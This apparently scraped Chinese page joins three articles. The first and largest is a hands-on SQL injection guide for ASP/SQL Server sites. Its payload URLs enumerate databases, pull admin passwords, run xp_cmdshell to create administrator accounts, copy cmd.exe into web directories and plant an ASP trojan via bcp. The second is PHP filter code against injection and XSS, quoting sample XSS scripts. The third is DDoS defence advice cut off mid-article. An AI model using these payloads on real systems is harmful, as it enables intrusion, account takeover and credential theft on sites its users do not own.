精华内容
下载资源
问答
  • 但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根 据程序返回的结果,获得某些他想...
     随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根 
    
    据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
    SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果 管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况 进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。
    据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,以 SQL-SERVER+ASP例说明SQL注入的原理、方法与过程。(PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章)
    SQL注入攻击的总体思路是:
    l 发现SQL注入位置;
    l 判断后台数据库类型;
    l 确定XP_CMDSHELL可执行情况
    l 发现WEB虚拟目录
    l 上传ASP木马;
    l 得到管理员权限;
    一、SQL注入漏洞的判断
    一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等 带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是 带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就 非常大。
    为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
    为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。
    1、整型参数的判断
    当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
    select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
    HTTP://xxx.xxx.xxx/abc.asp?p=YY'(附加一个单引号),此时abc.ASP中的SQL语句变成了
    select * from 表名 where 字段=YY',abc.asp运行异常;
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
    如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
    2、字符串型参数的判断
    当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
    select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。
    HTTP://xxx.xxx.xxx/abc.asp?p=YY'(附加一个单引号),此时abc.ASP中的SQL语句变成了
    select * from 表名 where 字段=YY',abc.asp运行异常;
    HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
    HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常;
    如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
    3、特殊情况的处理
    有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
    ①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
    ②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
    ③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;

    二、区分数据库服务器类型
    一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
    1、 利用数据库服务器的系统变量进行区分
    SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
    HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
    2、利用系统表
    ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
    若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

    3、 MSSQL三个关键系统表
    sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及库的ID和一些相关信息。
    这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。
    dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。

    Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。
    Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
    对象类型(xtype)。可以是下列对象类型中的一种:
    C = CHECK 约束
    D = 默认值或 DEFAULT 约束
    F = FOREIGN KEY 约束
    L = 日志
    FN = 标量函数
    IF = 内嵌表函数
    P = 存储过程
    PK = PRIMARY KEY 约束(类型是 K)
    RF = 复制筛选存储过程
    S = 系统表
    TF = 表函数
    TR = 触发器
    U = 用户表
    UQ = UNIQUE 约束(类型是 K)
    V = 视图
    X = 扩展存储过程
    当xtype='U' and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
    用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。

    syscolumns :每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:
    name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。
    用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。

    三、确定XP_CMDSHELL可执行情况
    若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
    1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
    2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前连接的数据库名。
    3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user aaa bbb /add"-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;"—"号是注解,表 示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
    4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators aaa /add"-- 把刚刚增加的帐户aaa加到administrators组中。
    5、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk='c:/inetpub/wwwroot/save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
    6、通过复制CMD创建UNICODE漏洞
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell "copy c:/winnt/system32/cmd.exe c:/inetpub/scripts/cmd.exe" 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

    四、发现WEB虚拟目录
    只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
    一是根据经验猜解,一般来说,WEB虚拟目录是:c:/inetpub/wwwroot; D:/inetpub/wwwroot; E:/inetpub/wwwroot等,而可执行虚拟目录是:c:/inetpub/scripts; D:/inetpub/scripts; E:/inetpub/scripts等。
    二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
    先创建一个临时表:temp
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    接下来:
    (1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
    我们可以通过查询temp的内容来获得驱动器列表及相关信息
    (2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:/';--
    (3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--
    这样就可以成功的浏览到所有的目录(文件夹)列表:

    如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec ... nbsp;'type c:/web/index.asp';--
    使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:/inetpub/wwwroot/index.asp'
    浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。

    当然,如果xp_cmshell能够执行,我们可以用它来完成:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:/';--
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c:/ *.asp /s/a';--

    通过xp_cmdshell我们可以看到所有想看到的,包括W3svc
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ub/AdminScripts/adsutil.vbs enum w3svc'

    但是,如果不是SA权限,我们还可以使用
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--

    注意:
    1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
    2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。

    五、上传ASP木马
    所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:
    1、利用WEB的远程管理功能
    许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的 控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
    因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的"发现WEB虚拟目录"的复杂操作都可省略。
    用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
    A、 注入法:
    从理论上说,认证网页中会有型如:
    select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。
    如在用户名文本框内输入:abc' or 1=1-- 在密码框内输入:123 则SQL语句变成:
    select * from admin where username='abc' or 1=1 and password='123' 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
    B、猜解法:
    基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。
    l 猜解所有数据库名称
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成 7,8,9,10,11,12...就可得到所有数据库名。
    以下假设得到的数据库名是TestDB。

    l 猜解数据库中用户名表的名称
    猜解法:此方法就是根据个人的经验猜表名,一般来 说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts 等。并通过语句进行判断
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
    读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。
    当xtype='U' and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
    根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
    l 猜解用户名字段及密码字段名称
    admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。
    猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 "select count(字段名) from 表名"语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。
    读取法:基本的实现方法是
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在 异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6...就可得到所有的字 段名称。
    l 猜解用户名与密码
    猜用户名与密码的内容最常用也是最有效的方法有:
    ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,... n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,...时猜测分别猜测第1,2,3,...位的值;n的值是1~9、a~z、A~Z的 ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就 是用户名某一位值。如:当输入
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为80);
    猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。
    简单法:猜用户名用
    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以 得到第二用户名,第三个用户等等,直到表中的所有用户名。
    猜用户密码:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码, 第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
    HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)
    用同样的方法当然可把密码改原来的值。

    2、利用表内容导成文件功能
    SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
    命令行格式如下:
    bcp "select * from text..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -S localhost -U sa -P foobar ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)

    六、得到系统的管理员权限
    ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:
    上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
    复制CMD.exe到scripts,人为制造UNICODE漏洞;
    下载SAM文件,破解并获取OS的所有用户名密码;
    等等,视系统的具体情况而定,可以采取不同的方法。

    七、几个SQL-SERVER专用手段
    1、利用xp_regread扩展存储过程修改注册表
    [xp_regread]另一个有用的内置存储过程是xp_regXXXX类的函数集合 (Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。 攻击者可以利用这些函数修改注册表,如读取SAM值,允许建立空连接,开机自动运行程序等。如:
    exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM/CurrentControlSet/Services/lanmanserver/parameters', 'nullsessionshares' 确定什么样的会话连接在服务器可用。
    exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM/CurrentControlSet/Services/snmp/parameters/validcommunities' 显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
    2、利用其他存储过程去改变服务器
    xp_servicecontrol过程允许用户启动,停止服务。如:
    (exec master..xp_servicecontrol 'start','schedule'
    exec master..xp_servicecontrol 'start','server')
    Xp_availablemedia 显示机器上有用的驱动器
    Xp_dirtree 允许获得一个目录树
    Xp_enumdsn 列举服务器上的ODBC数据源
    Xp_loginconfig 获取服务器安全信息
    Xp_makecab 允许用户在服务器上创建一个压缩文件
    Xp_ntsec_enumdomains 列举服务器可以进入的域
    Xp_terminate_process 提供进程的进程ID,终止此进程


    附件一:URLUnicode表(节选,主要是非字母的字符,RFC1738)
    字符 特殊字符的含义 URL编码
    # 用来标志特定的文档位置 %23
    % 对特殊字符进行编码 %25
    & 分隔不同的变量值对 %26
    + 在变量值中表示空格 %2B
    / 表示目录路径 %2F
    / %5C
    = 用来连接键和值 %3D
    ? 表示查询字符串的开始 %3F
    空格 %20
    . 句号 %2E
    : 冒号 %3A

    附件二:ASCII表(节选)
    Dec Hex Char Dec Hex Char
    80 50 P
    32 20 (space) 81 51 Q
    33 21 ! 82 52 R
    34 22 " 83 53 S
    35 23 # 84 54 T
    36 24 $Content$nbsp; 85 55 U
    37 25 % 86 56 V
    38 26 & 87 57 W
    39 27 ' 88 58 X
    40 28 ( 89 59 Y
    41 29 ) 90 5A Z
    42 2A * 91 5B [
    43 2B + 92 5C /
    44 2C , 93 5D ]
    45 2D - 94 5E ^
    46 2E . 95 5F _
    47 2F / 96 60 `
    48 30 0 97 61 a
    49 31 1 98 62 b
    50 32 2 99 63 c
    51 33 3 100 64 d
    52 34 4
    53 35 5 101 65 e
    54 36 6 102 66 f
    55 37 7 103 67 g
    56 38 8 104 68 h
    57 39 9 105 69 i
    58 3A : 106 6A j
    59 3B ; 107 6B k
    60 3C < 108 6C l
    61 3D = 109 6D m
    62 3E > 110 6E n
    63 3F ? 111 6F o
    112 70 p
    64 40 @ 113 72 q
    65 41 A 114 72 r
    66 42 B 115 73 s
    67 43 C 116 74 t
    68 44 D 117 75 u
    69 45 E 118 76 v
    70 46 F 119 77 w
    71 47 G 120 78 x
    72 48 H 121 79 y
    73 49 I 122 7A z
    74 4A J 123 7B {
    75 4B K 124 7C |
    76 4C L 125 7D }
    77 4D M 126 7E ~
    78 4E N 127 7F €
    79 4F O 128 80
    展开全文
  • 获取相应的权限之后,可以对网页和数据库进行进一步的篡改、挂马和跳板攻击行为。 防止SQL注入代码: 主要是利用magic_quotes_gpc指令或它的搭挡addslashes()函数; 如果要自己拼SQL语句,一定要自己再过滤一下...

    漏洞危害: 黑客利用精心组织的SQL语句,通过Web表单注入的Web应用中,从而获取后台DB的访问与存取权限。获取相应的权限之后,可以对网页和数据库进行进一步的篡改、挂马和跳板攻击行为。

    防止SQL注入代码:

    主要是利用magic_quotes_gpc指令或它的搭挡addslashes()函数;

    如果要自己拼SQL语句,一定要自己再过滤一下【addslashes】,也不是直接就能过滤,还要考虑PHP服务器有没有开启自动过滤的功能,如果服务器已经开启自动过滤的功能我们就不能再过滤,只有没有开启时才需要手动过滤:

    <?php
    //php防注入和XSS攻击通用过滤
    $_GET     && SafeFilter($_GET);
    $_POST    && SafeFilter($_POST);
    $_COOKIE  && SafeFilter($_COOKIE);
      
    function SafeFilter (&$arr) 
    {
       $ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'
       ,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'
       ,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/',
       '/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'
       ,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');
         
       if (is_array($arr))
       {
         foreach ($arr as $key => $value) 
         {
            if (!is_array($value))
            {
              if (!get_magic_quotes_gpc())  //不对magic_quotes_gpc转义过的字符使用addslashes(),避免双重转义。
              {
                 $value  = addslashes($value); //给单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)
                 加上反斜线转义
              }
              $value       = preg_replace($ra,'',$value);     //删除非打印字符,粗暴式过滤xss可疑字符串
              $arr[$key]     = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
            }
            else
            {
              SafeFilter($arr[$key]);
            }
         }
       }
    }
    ?>
    

    防止XSS跨站攻击代码:

    XSS,全称为Cross Site Script,跨站脚本攻击,是WEB程序中一种常见的漏洞。其主要的攻击手段是在在利用网站上的可由用户输入信息的地方,恶意注入含有攻击性的脚本,达到攻击网站或者窃取用户cookied等隐私信息的目的。

    XSS漏洞主要分为两种类型,一种是Stored XSS, 另一种是反射型 XSS。

    第一种举个简单的例子就是BBS网站,黑客可以利用留言的功能,发表以下内容:

    <script type="text/javascript"> alert("surprise") </script>

      对系统而言,它认为这和其他的留言一样都只是字符串。但是当有用户访问到这个页面时,浏览器会把这段留言当成html内容来解析。因此就执行了其中的js脚本。

    而反射型 XSS则是利用点击链接或是提交一些内容来达到攻击的目的。

    比如我有以下一个页面:

    <form  name="formsearch" method="get">
            <div class="form">
               <input name="q" type="text" class="search-keyword" id="search-keyword"  />
              <button type="submit" class="search-submit blue-button">搜索</button>
            </div>
            </form>

      当用户在input框中输入:    "<script type="text/javascript"> alert(“surperise”) " 时。他也向浏览器插入了自己的JS脚本。

      当表单被提交时,输入的字符串被作为参数放在了URL中,传到下一个页面。

      当下一个页面需要显示这些内容,字符串中包含的攻击脚本也就被浏览器解释了出来。

      

      当然这段脚本只能在自己的浏览器执行,可能没有什么攻击性,但是黑客们会想尽办法伪装页面达到攻击的目的。

     

      总之,XSS攻击就是想办法让你的浏览器去执行他的脚本。

    主要是利用htmlspecialchars过滤

    //防止xss跨站攻击 数组或字符串都有效
    function clean_xss(&$string){
    	if(!is_array($string)){
    		$string = trim($string);
    		$string = strip_tags($string);
    		$string = htmlspecialchars($string);
    		$string = str_replace (array ('"', "\\", "'", "/", "..", "../", "./", "//" ), '', $string);
    		$no = '/%0[0-8bcef]/';
    		$string = preg_replace ($no, '', $string);
    		$no = '/%1[0-9a-f]/';
    		$string = preg_replace ($no, '', $string);
    		$no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
    		$string = preg_replace ($no, '', $string);
    		return True;
    	}
     
    	$keys = array_keys($string);
    	foreach($keys as $key){
    		clean_xss($string[$key]);
    	}
    }

    备注(关于XSS):

    1、php防止XSS跨站脚本攻击的方法:是针对非法的HTML代码包括单双引号等,使用htmlspecialchars()函数 。

    2、在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string) 的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号(“), 不对单引号(‘)做转义.

    3、所以,htmlspecialchars函数更多的时候要加上第二个参数, 应该这样用: htmlspecialchars($string,ENT_QUOTES).当然,如果需要不转化引号,用htmlspecialchars($string,ENT_NOQUOTES).
     

    展开全文
  • 网络怎样才能做到防范DDoS的攻击(转)[@more@] 到目前为止,进行DDoS攻击的防御还是比较困难的。首先,这种攻击的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS攻击。一位资深...
    网络怎样才能做到防范DDoS的攻击(转)[@more@]

      到目前为止,进行DDoS攻击的防御还是比较困难的。首先,这种攻击的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS攻击。一位资深的安全专家给了个形象的比喻:DDoS就好象有1,000个人同时给你家里打电话,这时候你的朋友还打得进来吗?

      

      不过即使它难于防范,也不是说我们就应该逆来顺受,实际上防止DDoS并不是绝对不可行的事情。互联网的使用者是各种各样的,与DDoS做斗争,不同的角色有不同的任务。我们以下面几种角色为例:

      企业网管理员

      ISP、ICP管理员

      骨干网络运营商

      企业网管理员

      

      网管员做为一个企业内部网的管理者,往往也是安全员、守护神。在他维护的网络中有一些服务器需要向外提供WWW服务,因而不可避免地成为DDoS的攻击目标,他该如何做呢?可以从主机与网络设备两个角度去考虑。

      

      主机上的设置

      

      几乎所有的主机平台都有抵御DoS的设置,总结一下,基本的有几种:

      关闭不必要的服务

      限制同时打开的Syn半连接数目

      缩短Syn半连接的time out 时间

      及时更新系统补丁

      网络设备上的设置

      

      企业网的网络设备可以从防火墙与路由器上考虑。这两个设备是到外界的接口设备,在进行防DDoS设置的同时,要注意一下这是以多大的效率牺牲为代价的,对你来说是否值得。

      

      1.防火墙

      禁止对主机的非开放服务的访问

      限制同时打开的SYN最大连接数

      限制特定IP地址的访问

      启用防火墙的防DDoS的属性

      严格限制对外开放的服务器的向外访问

      第五项主要是防止自己的服务器被当做工具去害人。

      

      2.路由器

      

      以Cisco路由器为例

      Cisco Express Forwarding(CEF)

      使用 unicast reverse-path

      访问控制列表(ACL)过滤

      设置SYN数据包流量速率

      升级版本过低的ISO

      为路由器建立log server

      其中使用CEF和Unicast设置时要特别注意,使用不当会造成路由器工作效率严重下降,升级IOS也应谨慎。路由器是网络的核心设备,与大家分享一下进行设置修改时的小经验,就是先不保存。Cisco路由器有两份配置startup config和running config,修改的时候改变的是running config,可以让这个配置先跑一段时间(三五天的就随意啦),觉得可行后再保存配置到startup config;而如果不满意想恢复原来的配置,用copy start run就行了。

      

      ISP / ICP管理员

      

